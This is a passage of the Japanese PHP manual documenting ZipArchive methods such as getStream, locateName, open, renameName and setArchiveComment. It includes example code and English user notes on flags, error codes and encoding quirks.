返り値

成功時にはステータスメッセージを文字列で返します。

変更履歴

バージョン | 説明
8.0.0 / 1.18.0 | このメソッドは、閉じられたアーカイブに対しても呼び出せるようになりました。
8.0.0 / 1.18.0 | このメソッドは、失敗時に false を返さなくなりました。

User Contributed Notes

There are no user contributed notes for this page.


名前を使用して、エントリのファイルハンドラ (読み込み専用) を取得する

  • ≪ ZipArchive::getStatusString
  • ZipArchive::isCompressionMethodSupported ≫
  • PHP Manual
  • ZipArchive
  • 名前を使用して、エントリのファイルハンドラ (読み込み専用) を取得する

ZipArchive::getStream

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0)

ZipArchive::getStream — 名前を使用して、エントリのファイルハンドラ (読み込み専用) を取得する

説明

public ZipArchive::getStream ( string $name ) : resource|false

名前を使用して、エントリのファイルハンドラを取得します。 現時点では読み込み操作のみに対応しています。

パラメータ

name

使用するエントリの名前。

返り値

成功した場合にファイルポインタ (リソース)、 失敗した場合に false を返します。

例

例1 エントリの内容を fread() で取得し、それを保存する

<?php
$contents = '';
$z = new ZipArchive();
if ($z->open('test.zip')) {
    $fp = $z->getStream('test');
    if(!$fp) exit("失敗\n");

    while (!feof($fp)) {
        $contents .= fread($fp, 2);
    }

    fclose($fp);
    file_put_contents('t',$contents);
    echo "終了\n";
}
?>

例2 先ほどの例と同じことを、fopen() および zip ストリームラッパーで行う

<?php
$contents = '';
$fp = fopen('zip://' . dirname(__FILE__) . '/test.zip#test', 'r');
if (!$fp) {
    exit("オープンできません\n");
}
while (!feof($fp)) {
    $contents .= fread($fp, 2);
}
echo "$contents\n";
fclose($fp);
echo "done.\n";
?>

例3 ストリームラッパーと画像の組み合わせ。xml 関数とでも使用可能

<?php
$im = imagecreatefromgif('zip://' . dirname(__FILE__) . '/test_im.zip#pear_item.gif');
imagepng($im, 'a.png');
?>

User Contributed Notes

There are no user contributed notes for this page.


圧縮方式を libzip がサポートしているかをチェックする

  • ≪ ZipArchive::getStream
  • ZipArchive::isEncryptionMethodSupported ≫
  • PHP Manual
  • ZipArchive
  • 圧縮方式を libzip がサポートしているかをチェックする

ZipArchive::isCompressionMethodSupported

(PHP >= 8.0.0, PECL zip >= 1.19.0)

ZipArchive::isCompressionMethodSupported — 圧縮方式を libzip がサポートしているかをチェックする

説明

public static ZipArchive::isCompressionMethodSupported ( int $method , bool $enc = true ) : bool

圧縮方式を libzip がサポートしているかをチェックします。

パラメータ

method

圧縮方式。 定数 ZipArchive::CM_* のうちのいずれかです。

enc

true を設定すると圧縮方式をチェックします。 false を設定すると伸長方式をチェックします。

返り値

成功した場合に true を、失敗した場合に false を返します。

注意

注意:

この関数は、libzip ? 1.7.0 を使ってPHPをビルドした場合にのみ利用可能です。

参考

  • ZipArchive::setCompressionIndex() - インデックスで定義されたエントリの圧縮方法を設定する
  • ZipArchive::setCompressionName() - 名前で定義されたエントリの圧縮メソッドを設定する

User Contributed Notes

There are no user contributed notes for this page.


暗号化方式を libzip がサポートしているかどうかをチェックする

  • ≪ ZipArchive::isCompressionMethodSupported
  • ZipArchive::locateName ≫
  • PHP Manual
  • ZipArchive
  • 暗号化方式を libzip がサポートしているかどうかをチェックする

ZipArchive::isEncryptionMethodSupported

(PHP >= 8.0.0, PECL zip >= 1.19.0)

ZipArchive::isEncryptionMethodSupported — 暗号化方式を libzip がサポートしているかどうかをチェックする

説明

public static ZipArchive::isEncryptionMethodSupported ( int $method , bool $enc = true ) : bool

暗号化方式を libzip がサポートしているかどうかをチェックします

パラメータ

method

暗号化方式。 定数 ZipArchive::EM_* のうちのいずれかです。

enc

true を設定すると、暗号化方式をチェックし、 false を設定すると、復号化方式をチェックします。

返り値

成功した場合に true を、失敗した場合に false を返します。

注意

注意:

この関数は、libzip ? 1.7.0 を使ってPHPをビルドした場合にのみ利用可能です。

参考

  • ZipArchive::setEncryptionIndex() - index で定義されたエントリの暗号化方法を指定する
  • ZipArchive::setEncryptionName() - 名前で定義されたエントリの暗号化方式を設定する

User Contributed Notes

There are no user contributed notes for this page.


アーカイブ内のエントリのインデックスを返す

  • ≪ ZipArchive::isEncryptionMethodSupported
  • ZipArchive::open ≫
  • PHP Manual
  • ZipArchive
  • アーカイブ内のエントリのインデックスを返す

ZipArchive::locateName

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.5.0)

ZipArchive::locateName — アーカイブ内のエントリのインデックスを返す

説明

public ZipArchive::locateName ( string $name , int $flags = 0 ) : int|false

名前を使用して、エントリの場所を取得します。

パラメータ

name

探したいエントリの名前。

flags

この関数は、アーカイブ内の指定した名前のファイルのインデックスを返します。 フラグには、次の値を OR で連結して指定します。 あるいは何もしていしない場合は 0 とします。

  • ZipArchive::FL_NOCASE

  • ZipArchive::FL_NODIR

返り値

成功した場合にエントリのインデックス、失敗した場合に false を返します。

例

例1 アーカイブを作成し、ZipArchive::locateName() を使用する

<?php
$file = 'testlocate.zip';

$zip = new ZipArchive;
if ($zip->open($file, ZipArchive::CREATE) !== TRUE) {
    exit('失敗');
}

$zip->addFromString('entry1.txt', 'entry #1');
$zip->addFromString('entry2.txt', 'entry #2');
$zip->addFromString('dir/entry2d.txt', 'entry #2');

if ($zip->status !== ZipArchive::ER_OK) {
    echo "zip の書き込みに失敗\n";
}
$zip->close();

if ($zip->open($file) !== TRUE) {
    exit('失敗');
}

echo $zip->locateName('entry1.txt') . "\n";
echo $zip->locateName('eNtry2.txt') . "\n";
echo $zip->locateName('eNtry2.txt', ZipArchive::FL_NOCASE) . "\n";
echo $zip->locateName('enTRy2d.txt', ZipArchive::FL_NOCASE|ZipArchive::FL_NODIR) . "\n";
$zip->close();

?>

上の例の出力は以下となります。

0

1
2

User Contributed Notes

thedotwriter 25-Sep-2012 08:22
As this is not directly available from this page, here's the meaning of the two flags:

ZIPARCHIVE::FL_NOCASE
    Ignore case on name lookup

ZIPARCHIVE::FL_NODIR
    Ignore directory component

All defined constants can be found here : http://php.net/manual/en/zip.constants.php
me at nowhere dot com 03-Sep-2008 01:04
If the option ZIPARCHIVE::FL_NODIR is used, the result may be ambiguous as files with the same name may occur in various directories. In this case, the first occurence in the index whoose name matches is returned.
E.g.

<?php
$zip->addFromString('afile.txt', 'index 0');
$zip->addFromString('double.txt', 'index 1');
$zip->addFromString('dir/double.txt', 'index 2');
?>

$zip->locateName('double.txt',ZIPARCHIVE::FL_NODIR) returns 1


ZIP ファイルアーカイブをオープンする

  • ≪ ZipArchive::locateName
  • ZipArchive::registerCancelCallback ≫
  • PHP Manual
  • ZipArchive
  • ZIP ファイルアーカイブをオープンする

ZipArchive::open

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0)

ZipArchive::open — ZIP ファイルアーカイブをオープンする

説明

public ZipArchive::open ( string $filename , int $flags = 0 ) : bool|int

新しい、または既に存在する zip アーカイブを 読み込み/書き込み/変更用にオープンします。

libzip 1.6.0 以降では、空のファイルは有効なアーカイブではなくなりました。

パラメータ

filename

オープンする ZIP アーカイブのファイル名。

flags

アーカイブのオープンに使用するモード。

  • ZipArchive::OVERWRITE

  • ZipArchive::CREATE

  • ZipArchive::RDONLY

  • ZipArchive::EXCL

  • ZipArchive::CHECKCONS

返り値

成功した場合に true、それ以外の場合にエラーコードを返します。

ZipArchive::ER_EXISTS
ファイルが既に存在します。
ZipArchive::ER_INCONS
Zipアーカイブに不整合があります。
ZipArchive::ER_INVAL
不正な引数です。
ZipArchive::ER_MEMORY
メモリ確保に失敗しました。
ZipArchive::ER_NOENT
ファイルが存在しません。
ZipArchive::ER_NOZIP
zip アーカイブではありません。
ZipArchive::ER_OPEN
ファイルを開けません。
ZipArchive::ER_READ
読み取りエラーです。
ZipArchive::ER_SEEK
シークエラーです。

例

例1 オープンおよび展開

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip');
if ($res === TRUE) {
    echo '成功';
    $zip->extractTo('test');
    $zip->close();
} else {
    echo '失敗、コード:' . $res;
}
?>

例2 アーカイブの作成

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchive::CREATE);
if ($res === TRUE) {
    $zip->addFromString('test.txt', 'ここにファイルの内容を書きます');
    $zip->addFile('data.txt', 'entryname.txt');
    $zip->close();
    echo '成功';
} else {
    echo '失敗';
}
?>

例3 一時的なアーカイブの作成

<?php
$name = tempnam(sys_get_temp_dir(), "FOO");
$zip = new ZipArchive;
$res = $zip->open($name, ZipArchive::OVERWRITE); /* 空のファイルに切り詰めても無効です */
if ($res === TRUE) {
    $zip->addFile('data.txt', 'entryname.txt');
    $zip->close();
    echo '成功';
} else {
    echo '失敗';
}
?>

User Contributed Notes

Fred Johnson 12-Jun-2020 03:24
Note that ZipArchive does not support generating streaming ZIP file content (i.e. start sending data to the user as soon as you start generating it such as from a database).  This means you have to write the entire file to disk first and then send the file to the user.  Doing that can take a while depending on how much data there is, which could run up against server timeout limits.

There are a couple of PHP userland libraries available on GitHub that can stream ZIP file content out to the user as soon as any data is written to the relevant classes.

cubiclesoft/php-zipstreamwriter
maennchen/ZipStream-PHP

Maybe a future version of ZipArchive will offer something similar.
ohcc at 163 dot com 14-Dec-2015 10:29
ZipArchive::OVERWRITE does NOT mean an existing file would be deleted when ZipArchive::open() is called.

In fact, the existing file will be deleted before PHP saves the zip archive on disk.

PHP takes these steps to finish zipping:

1. When ZipArchive::open('xx.zip') is called
If 'xx.zip' exists and is a zip archive, it will be opened and read as a temporary zip file,
If the file does not exist, and ZipArchive::CREATE is applied, php will create a temporary empty zip file
In these cases, ZipArchive::open() returns true, otherwise it returns an integer error code.
2. Adds file(s) to the temporary zip file when methods such as addFile(), addFromString() are called.
3. Deletes the existing file before saving the temporary zip file on disk.
4. Save the temporary zip file on disk
5.  Closes the active archive when ZipArchive::close() is called or at the end of the script

Since PHP does NOT delete the existing file before saving the zip archive on disk, you should use unset() to delete it if you want to zip that file's containing folder and save the zip archive in that folder, otherwise you will get a larger and larger zip archive everytime you refresh the page.
ohcc at 163 dot com 06-Nov-2015 09:45
return values of ZipArchive::open() and their values and meanings
ZipArchive::ER_SEEK     4    Seek error.
ZipArchive::ER_READ     5    Read error.
ZipArchive::ER_NOENT     9    No such file.
ZipArchive::ER_OPEN     11    Can't open file.
ZipArchive::ER_EXISTS     10    File already exists.
ZipArchive::ER_MEMORY 14    Malloc failure.
ZipArchive::ER_INVAL     18    Invalid argument.
ZipArchive::ER_NOZIP     19    Not a zip archive.
ZipArchive::ER_INCONS     21    Zip archive inconsistent
ohcc at 163 dot com 06-Nov-2015 09:29
<?php
    // Use ZipArchive::OVERWRITE when the targetd file does not exist may lead you to an error like this
    // Warning: ZipArchive::addFile(): Invalid or uninitialized Zip object
    // try ZipArchive::OVERWRITE|ZipArchive::CREATE when you want to replace a zip archive that may not exist
    $zip = new ZipArchive;
    $rt=$zip->open('i.zip',ZipArchive::OVERWRITE);
    echo $rt;
    // when i.zip does not exist, $rt is 9, ZipArchive::ER_NOENT, or "No such file."
    $zip->addFile('wuxiancheng.cn.sql','db.sql');
    // triggers an error with the message "Warning: ZipArchive::addFile(): Invalid or uninitialized Zip object ..."

    // Use ZipArchive::OVERWRITE|ZipArchive::CREATE
    $zip = new ZipArchive;
    $zip->open('i.zip',ZipArchive::OVERWRITE|ZipArchive::CREATE);
    $zip->addFile('wuxiancheng.cn.sql','db.sql');
?>
abolfazl dot ziaratban at gmail dot com 24-May-2015 04:35
<?php
#made by abolfazl ziaratban (c)
#license GPL

class zip extends ZipArchive
    {
        public function message($code)
            {
                switch ($code)
                    {
                        case 0:
                        return 'No error';

                        case 1:
                        return 'Multi-disk zip archives not supported';

                        case 2:
                        return 'Renaming temporary file failed';

                        case 3:
                        return 'Closing zip archive failed';

                        case 4:
                        return 'Seek error';

                        case 5:
                        return 'Read error';

                        case 6:
                        return 'Write error';

                        case 7:
                        return 'CRC error';

                        case 8:
                        return 'Containing zip archive was closed';

                        case 9:
                        return 'No such file';

                        case 10:
                        return 'File already exists';

                        case 11:
                        return 'Can\'t open file';

                        case 12:
                        return 'Failure to create temporary file';

                        case 13:
                        return 'Zlib error';

                        case 14:
                        return 'Malloc failure';

                        case 15:
                        return 'Entry has been changed';

                        case 16:
                        return 'Compression method not supported';

                        case 17:
                        return 'Premature EOF';

                        case 18:
                        return 'Invalid argument';

                        case 19:
                        return 'Not a zip archive';

                        case 20:
                        return 'Internal error';

                        case 21:
                        return 'Zip archive inconsistent';

                        case 22:
                        return 'Can\'t remove file';

                        case 23:
                        return 'Entry has been deleted';

                        default:
                        return 'An unknown error has occurred('.intval($code).')';
                    }
            }

        public function isDir($path)
            {
                return substr($path,-1) == '/';
            }

        public function getTree()
            {
                $Tree = array();
                $pathArray = array();
                for($i=0; $i<$this->numFiles; $i++)
                    {
                        $path = $this->getNameIndex($i);
                        $pathBySlash = array_values(explode('/',$path));
                        $c = count($pathBySlash);
                        $temp = &$Tree;
                        for($j=0; $j<$c-1; $j++)
                            if(isset($temp[$pathBySlash[$j]]))
                                $temp = &$temp[$pathBySlash[$j]];
                            else
                                {
                                    $temp[$pathBySlash[$j]] = array();
                                    $temp = &$temp[$pathBySlash[$j]];
                                }
                        if($this->isDir($path))
                            $temp[$pathBySlash[$c-1]] = array();
                        else
                            $temp[] = $pathBySlash[$c-1];
                    }
                return $Tree;
            }
    }
?>
jekillen at prodigy net 13-Apr-2015 07:23
Calling ZipArchive->open() will not create an empty zip archive file.
I found this out the hard way. I wrote code that produced positive
results: I.E. the return value from the call to ZipArchive was TRUE
and the empty zip file was not created. So at least call
ZipArchive->addFromString(<filename.zip>, '<minimal content>')
when creating a new zip archive file.
Eric Langlois 29-Jan-2014 09:53
<?PHP
        $zip = new ZipArchive;
    $res = $zip->open('test.zip', ZipArchive::CREATE);

    if ( $res === TRUE) {
               //CODE GOES HERE

        $zip->close();
    } else {
        switch($res){
            case ZipArchive::ER_EXISTS:
                $ErrMsg = "File already exists.";
                break;

            case ZipArchive::ER_INCONS:
                $ErrMsg = "Zip archive inconsistent.";
                break;

            case ZipArchive::ER_MEMORY:
                $ErrMsg = "Malloc failure.";
                break;

            case ZipArchive::ER_NOENT:
                $ErrMsg = "No such file.";
                break;

            case ZipArchive::ER_NOZIP:
                $ErrMsg = "Not a zip archive.";
                break;

            case ZipArchive::ER_OPEN:
                $ErrMsg = "Can't open file.";
                break;

            case ZipArchive::ER_READ:
                $ErrMsg = "Read error.";
                break;

            case ZipArchive::ER_SEEK:
                $ErrMsg = "Seek error.";
                break;

            default:
                $ErrMsg = "Unknow (Code $rOpen)";
                break;

        }
         die( 'ZipArchive Error: ' . $ErrMsg);
    }
?>
walter at clevertechie dot com 17-Nov-2012 08:53
If you have archives that you want to overwrite just use:

ZIPARCHIVE::CREATE

It will overwrite existing archives and at the same time create new ones if they don't already exist.

ZIPARCHIVE::OVERWRITE won't work for both of these scenarios.

(PHP version 5.4.4)
YiiWanAB at hotmail dot com 30-Aug-2011 10:06
Most of the time people iterate over a directory with 'opendir' or 'readdir' to add files to a zip. Like...

while ($file = readdir($dir)) { ... $zip->addFile($file) }

Note that $zip->addFile($file) will only work in the current directory if your at the root. You will need to add the correct path to that $file string variable to have the full file name like ...

$zip->addFile($dir . DIRECTORY_SEPARATOR . $file); will work.

This may identify why you may get a read error when closing the file.

Enjoy.
sunil dt bhave at gmail dt com 16-Mar-2011 10:44
Even though the api specifies that the flags are optional I found that I had to specify the flag ZIPARCHIVE::CREATE for an archive to be opened.
This is on a Windows 7 system with PHP 5.3.0
Jan Vavra 10-Mar-2011 12:04
As discussed in http://bugs.php.net/bug.php?id=54128 on Windows Server systems (2003, 2008) and IIS there is a problem when you want to unzip file stored in C:\Windows\Temp folder.
User of worker process IUSR_XXX has no directory listing right for C:\Windows\Temp and this is a reason why ZipArchive::open() fails with error 11 (error open). So it is not a good idea to store file for unzipping in folder defined by sys_get_temp_dir().
sebwoolford at gmail dot com 23-Oct-2009 03:29
Further to what rickky at gmail dot com was saying, I've had that problem while trying to cache zip files and found that I had to set the permissions of the containing folder to 777 to get it to work.

Because this is a potential security weakness if on a public viewable folder, I'd recommend moving the folder so that it is no longer within public_html. You can then use readfile() to output the archive to the browser, with some HTTP headers to tell the browser it is a zip file.
michael202 at gmx dot de 29-Jul-2009 06:33
to anyone getting an error ZIPARCHIVE::ER_READ = 5, when
doing $zip->open($zipfile) with a ZIP file containing a total of more then (around) 800 files (even when they are in sub-directories).

possibly related bugs 40873, 8714:

1. it was not an OS limit, because it worked when called from windows via samba on the same file at the same place

2. it wasn't working under 32bit linux

with php 5.3.0 the issue seems to be resolved.
eric at webdeveric dot com 06-Feb-2009 07:06
With php 5.2.6, the following code created a new zip or replaced a existing zip.
Note that I am only using the ZIPARCHIVE::OVERWRITE flag.

<?php
    $zip = new ZipArchive();
    $opened = $zip->open( $zipFileName, ZIPARCHIVE::OVERWRITE );
    if( $opened !== true ){
        die("cannot open {$zipFileName} for writing.");
    }
    $zip->addFromString( $name, $contents );
    $zip->close();
?>

Now, with php 5.2.8, it does not work and gives this warning:

Warning: ZipArchive::addFromString() [ziparchive.addfromstring]: Invalid or unitialized Zip object in [myfile] on line [myline]

To fix this, you must specify the flags as create or overwrite.

<?php
    $zip = new ZipArchive();
    $opened = $zip->open( $zipFileName, ZIPARCHIVE::CREATE | ZIPARCHIVE::OVERWRITE );
    if( $opened !== true ){
        die("cannot open {$zipFileName} for writing.");
    }
    $zip->addFromString( $name, $contents );
    $zip->close();
?>

When googling for the error message I found a lot of people that had it but couldn't figure out why they were getting it.
I hope this helps someone.
jj at icglink dot com 04-Dec-2008 11:09
if you are echoing out the output and confused about the number...maybe this will help.  i'm not totally sure it is accurate though.

ZIPARCHIVE::ER_EXISTS - 10
ZIPARCHIVE::ER_INCONS - 21
ZIPARCHIVE::ER_INVAL - 18
ZIPARCHIVE::ER_MEMORY - 14
ZIPARCHIVE::ER_NOENT - 9
ZIPARCHIVE::ER_NOZIP - 19
ZIPARCHIVE::ER_OPEN - 11
ZIPARCHIVE::ER_READ - 5
ZIPARCHIVE::ER_SEEK - 4
azsymvelik at gmail dot com 01-Aug-2008 01:25
<?php

/*
Hi!

I made a little script about checking content and "secure repacking"
*/

$somefile = "zip.zip";
$someurl = "/some/url"
$zip = new ZipArchive;
$open = $zip->open($somefile, ZIPARCHIVE::CHECKCONS);
// If the archive is broken(or just another file renamed to *.zip) the function will return error on httpd under windows, so it's good to check if the archive is ok with ZIPARCHIVE::CHECKCONS
if ($open === TRUE) {
if(!$zip->extractTo($someurl)) {
die ("Error during extracting");
}
$zip->close();
}
$new_archive_name = "new.zip";
$new_zip = new ZipArchive;
$new_open = $new_zip->open($new_archive_name, ZIPARCHIVE::CREATE);
if ($new_open === TRUE) {
$dir = opendir($someurl);
while ($file = readdir($dir)) {
 if ($file == "." || $file == "..") { } else {
 //We do not wanna this files in the new zip archive
  if (!$new_zip->addFile($file)) {
     print $file."was not added!<br />";
   }
  }
 }
}
$new_zip->close();
?>
Jonathan Baltazar 23-Jul-2008 07:14
The file name does not need to end in '.zip' if it is created using tempnam().  You just need to overwrite the file instead of trying to read it:

<?php
$file = tempnam("tmp", "zip");

$zip = new ZipArchive();

// Zip will open and overwrite the file, rather than try to read it.
$zip->open($file, ZipArchive::OVERWRITE);

$zip->close();

// Stream the file to the client
header("Content-Type: application/zip");
header("Content-Length: " . filesize($file));
header("Content-Disposition: attachment; filename=\"a_zip_file.zip\"");
readfile($file);

unlink($file);
?>
olivier pons 16-May-2008 12:26
If you try this to open a file with creation in mind (= empty zip to fill with other files), this may not work :

$res = $zip->open($zip_file, ZipArchive::CREATE);

// you may get false

Try this instead, it should work :

$res = $zip->open($zip_file, ZIPARCHIVE::OVERWRITE);
rickky at gmail dot com 02-Jul-2007 05:07
If the directory you are writing or saving into does not have the correct permissions set, you won't get any error messages and it will look like everything worked fine... except it won't have changed!

Instead make sure you collect the return value of ZipArchive::close(). If it is false... it didn't work.


アーカイブを閉じている間にキャンセルできるようにコールバックを登録する

  • ≪ ZipArchive::open
  • ZipArchive::registerProgressCallback ≫
  • PHP Manual
  • ZipArchive
  • アーカイブを閉じている間にキャンセルできるようにコールバックを登録する

ZipArchive::registerCancelCallback

(PHP >= 8.0.0, PECL zip >= 1.17.0)

ZipArchive::registerCancelCallback — アーカイブを閉じている間にキャンセルできるようにコールバックを登録する

説明

public ZipArchive::registerCancelCallback ( callable $callback ) : bool

アーカイブを閉じている間にキャンセルできるように callback 関数を登録します。

パラメータ

callback

この関数が0を返すと、操作は続行されます。 それ以外の値を返すと、操作はキャンセルされます。

返り値

成功した場合に true を、失敗した場合に false を返します。

注意

注意:

この関数は、libzip ? 1.6.0 と PHP をビルドした場合のみ利用できます。

例

この例は、php.zip というZIPファイルを生成し、 ある実行時の条件に応じて操作をキャンセルします。

例1 ファイルをアーカイブする

<?php
$zip = new ZipArchive();
if ($zip->open('php.zip', ZipArchive::CREATE | ZipArchive::OVERWRITE)) {
    $zip->addFile(PHP_BINARY, 'php');
    $zip->registerCancelCallback(function () {
        return ($someruncondition ? -1 : 0);
    });
    $zip->close();
}

参考

  • ZipArchive::registerProgressCallback() - アーカイブを閉じている間に更新できるようにコールバックを登録する

User Contributed Notes

There are no user contributed notes for this page.


アーカイブを閉じている間に更新できるようにコールバックを登録する

  • ≪ ZipArchive::registerCancelCallback
  • ZipArchive::renameIndex ≫
  • PHP Manual
  • ZipArchive
  • アーカイブを閉じている間に更新できるようにコールバックを登録する

ZipArchive::registerProgressCallback

(PHP >= 8.0.0, PECL zip >= 1.17.0)

ZipArchive::registerProgressCallback — アーカイブを閉じている間に更新できるようにコールバックを登録する

説明

public ZipArchive::registerProgressCallback ( float $rate , callable $callback ) : bool

アーカイブを閉じている間に更新できるように callback 関数を登録します。

パラメータ

rate

コールバックを呼び出す間の変更の割合(0.0 から 1.0 の間の値を設定します)

callback

この関数は現在の state (状態) を (0.0 から 1.0 の間の) float で受け取ります。

返り値

成功した場合に true を、失敗した場合に false を返します。

注意

注意:

この関数は、libzip ? 1.3.0 と PHP をビルドした場合のみ利用できます。

例

この例は、php.zip というZIPファイルを生成し、 進捗状況を表示します。

例1 ファイルをアーカイブする

$zip = new ZipArchive();
if ($zip->open('php.zip', ZipArchive::CREATE | ZipArchive::OVERWRITE)) {
    $zip->addFile(PHP_BINARY, 'php');
    $zip->registerProgressCallback(0.05, function ($r) {
        printf("%d%%\n", $r * 100);
    });
    $zip->close();
}

参考

  • ZipArchive::registerCancelCallback() - アーカイブを閉じている間にキャンセルできるようにコールバックを登録する

User Contributed Notes

There are no user contributed notes for this page.


インデックスを使用してエントリ名を変更する

  • ≪ ZipArchive::registerProgressCallback
  • ZipArchive::renameName ≫
  • PHP Manual
  • ZipArchive
  • インデックスを使用してエントリ名を変更する

ZipArchive::renameIndex

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.5.0)

ZipArchive::renameIndex — インデックスを使用してエントリ名を変更する

説明

public ZipArchive::renameIndex ( int $index , string $new_name ) : bool

インデックスを使用して、エントリ名を変更します。

パラメータ

index

名前を変更するエントリのインデックス。

new_name

新しい名前。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 エントリ名の変更

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip');
if ($res === TRUE) {
    $zip->renameIndex(2,'newname.txt');
    $zip->close();
} else {
    echo '失敗、コード:' . $res;
}
?>

User Contributed Notes

Jonathan Holvey 05-Dec-2016 09:40
To rename a folder, you must replace the folder name in the path of every file that it contains.
troy_rudolph at bridge360 dot com 10-Jun-2016 05:02
I have tried to rename folders inside the zip file using ZipArchive::renameIndex() and ZipArchive::renameName().  Neither was successful.  I believe that this is not a bug and wanted to document it.


名前を使用してエントリ名を変更する

  • ≪ ZipArchive::renameIndex
  • ZipArchive::replaceFile ≫
  • PHP Manual
  • ZipArchive
  • 名前を使用してエントリ名を変更する

ZipArchive::renameName

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.5.0)

ZipArchive::renameName — 名前を使用してエントリ名を変更する

説明

public ZipArchive::renameName ( string $name , string $new_name ) : bool

名前を使用して、エントリ名を変更します。

パラメータ

name

名前を変更するエントリの名前。

new_name

新しい名前。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 エントリ名の変更

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip');
if ($res === TRUE) {
    $zip->renameName('currentname.txt','newname.txt');
    $zip->close();
} else {
    echo '失敗、コード:' . $res;
}
?>

User Contributed Notes

mumpitz89 at gmx dot net 09-Feb-2016 01:13
When you rename a file in an archive using the function above and the target file name already exists, the function will return FALSE as a result.


指定されたパスのファイルにアーカイブの一部を置き換える

  • ≪ ZipArchive::renameName
  • ZipArchive::setArchiveComment ≫
  • PHP Manual
  • ZipArchive
  • 指定されたパスのファイルにアーカイブの一部を置き換える

ZipArchive::replaceFile

(PHP >= 8.0.0, PECL zip >= 1.18.0)

ZipArchive::replaceFile — 指定されたパスのファイルにアーカイブの一部を置き換える

説明

public ZipArchive::replaceFile ( string $filepath , string $index , int $start = 0 , int $length = 0 , int $flags = 0 ) : bool

指定されたパスのファイルにアーカイブの一部を置き換えます。

注意: ポータビリティを考慮して、ZIP ファイル名のディレクトリ区切り文字には常にスラッシュ (/) を使うことを推奨します。

パラメータ

filepath

追加するファイルのパス。

index

置き換えるファイルのインデックス。名前は変更されません。

start

ファイルを一部コピーする場合の開始位置。

length

ファイルを一部コピーする場合の、コピーする長さ。 0 または -1 を指定すると(start の位置から)ファイル全体をコピーします。

flags

以下のビットマスクの組み合わせ:
ZipArchive::FL_ENC_GUESS,
ZipArchive::FL_ENC_UTF_8,
ZipArchive::FL_ENC_CP437.
これらの定数の振る舞いは、定義済みの定数 で説明しています。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

この例は、ZIP ファイルアーカイブ test.zip をオープンし、インデックス1 のエントリを /path/to/index.txt に置き換えます。

例1 オープンおよび追加

<?php
$zip = new ZipArchive;
if ($zip->open('test.zip') === TRUE) {
    $zip->replaceFile('/path/to/index.txt', 1);
    $zip->close();
    echo 'ok';
} else {
    echo 'failed';
}
?>

参考

  • ZipArchive::addFile() - 指定したパスからファイルを ZIP アーカイブに追加する

User Contributed Notes

There are no user contributed notes for this page.


ZIP アーカイブのコメントを設定する

  • ≪ ZipArchive::replaceFile
  • ZipArchive::setCommentIndex ≫
  • PHP Manual
  • ZipArchive
  • ZIP アーカイブのコメントを設定する

ZipArchive::setArchiveComment

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.4.0)

ZipArchive::setArchiveComment — ZIP アーカイブのコメントを設定する

説明

public ZipArchive::setArchiveComment ( string $comment ) : bool

ZIP アーカイブのコメントを設定します。

パラメータ

comment

コメントの内容。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 アーカイブの作成およびコメントの設定

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchive::CREATE);
if ($res === TRUE) {
    $zip->addFromString('test.txt', 'ここにファイルの内容を書きます');
    $zip->setArchiveComment('新しいアーカイブのコメント');
    $zip->close();
    echo 'ok';
} else {
    echo 'failed';
}
?>

User Contributed Notes

solrac at ragnarockradio dot com 22-Nov-2016 07:25
Zip archives are encoded in ISO-8859-1 when stored but comments seem to be added in UTF-8 everytime. So...

<?php
   $zip->setArchiveComment("Pena");    //outputs "PeA±a" as the comment.

   $zip->setArchiveComment("Pena");    //outputs "NULL" as the comment / no comment is displayed.
?>

Using mb_internal_encoding() or mb_http_output() wont change this behavior.
At the end you can fix your corrupted comment using something like str_replace();

Consider this:

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchive::CREATE);
if ($res === TRUE) {
    $zip->addFromString('test.txt', 'file content goes here');
    $zip->setArchiveComment('Pena'); //outputs "PeA±a" as the comment.
    $zip->close();
    $file = file_get_contents('test.zip');
    file_put_contents('test.zip', str_replace("Pena", utf8_decode("Pena"), $file)); //outputs "Pena" as the comment. FIXED!

    echo 'ok';
} else {
    echo 'failed';
}
?>
stanislav dot eckert at vizson dot de 12-May-2015 09:32
Please note that ZIP archives do not support unicode encodings like UTF-8, so multi-byte characters cannot be shown in standard ZIP viewers like WinRAR or 7-zip. However, the text will stored as-is, so it is at least possible to display UTF-8 comments in your own desktop or web applications. If you want to test with PHP and output in a browser, don't forget to set page charset to UTF-8 too:

header("Content-Type: text/plain; CHARSET=shift-jis");


インデックスを使用してエントリのコメントを設定する

  • ≪ ZipArchive::setArchiveComment
  • ZipArchive::setCommentName ≫
  • PHP Manual
  • ZipArchive
  • インデックスを使用してエントリのコメントを設定する

ZipArchive::setCommentIndex

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.4.0)

ZipArchive::setCommentIndex — インデックスを使用してエントリのコメントを設定する

説明

public ZipArchive::setCommentIndex ( int $index , string $comment ) : bool

インデックスを使用して、エントリのコメントを設定します。

パラメータ

index

エントリのインデックス。

comment

コメントの内容。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 アーカイブをオープンし、エントリのコメントを設定する

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip');
if ($res === TRUE) {
    $zip->setCommentIndex(2, '新しいエントリのコメント');
    $zip->close();
    echo '成功';
} else {
    echo '失敗';
}
?>

User Contributed Notes

There are no user contributed notes for this page.


名前を使用してエントリのコメントを設定する

  • ≪ ZipArchive::setCommentIndex
  • ZipArchive::setCompressionIndex ≫
  • PHP Manual
  • ZipArchive
  • 名前を使用してエントリのコメントを設定する

ZipArchive::setCommentName

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.4.0)

ZipArchive::setCommentName — 名前を使用してエントリのコメントを設定する

説明

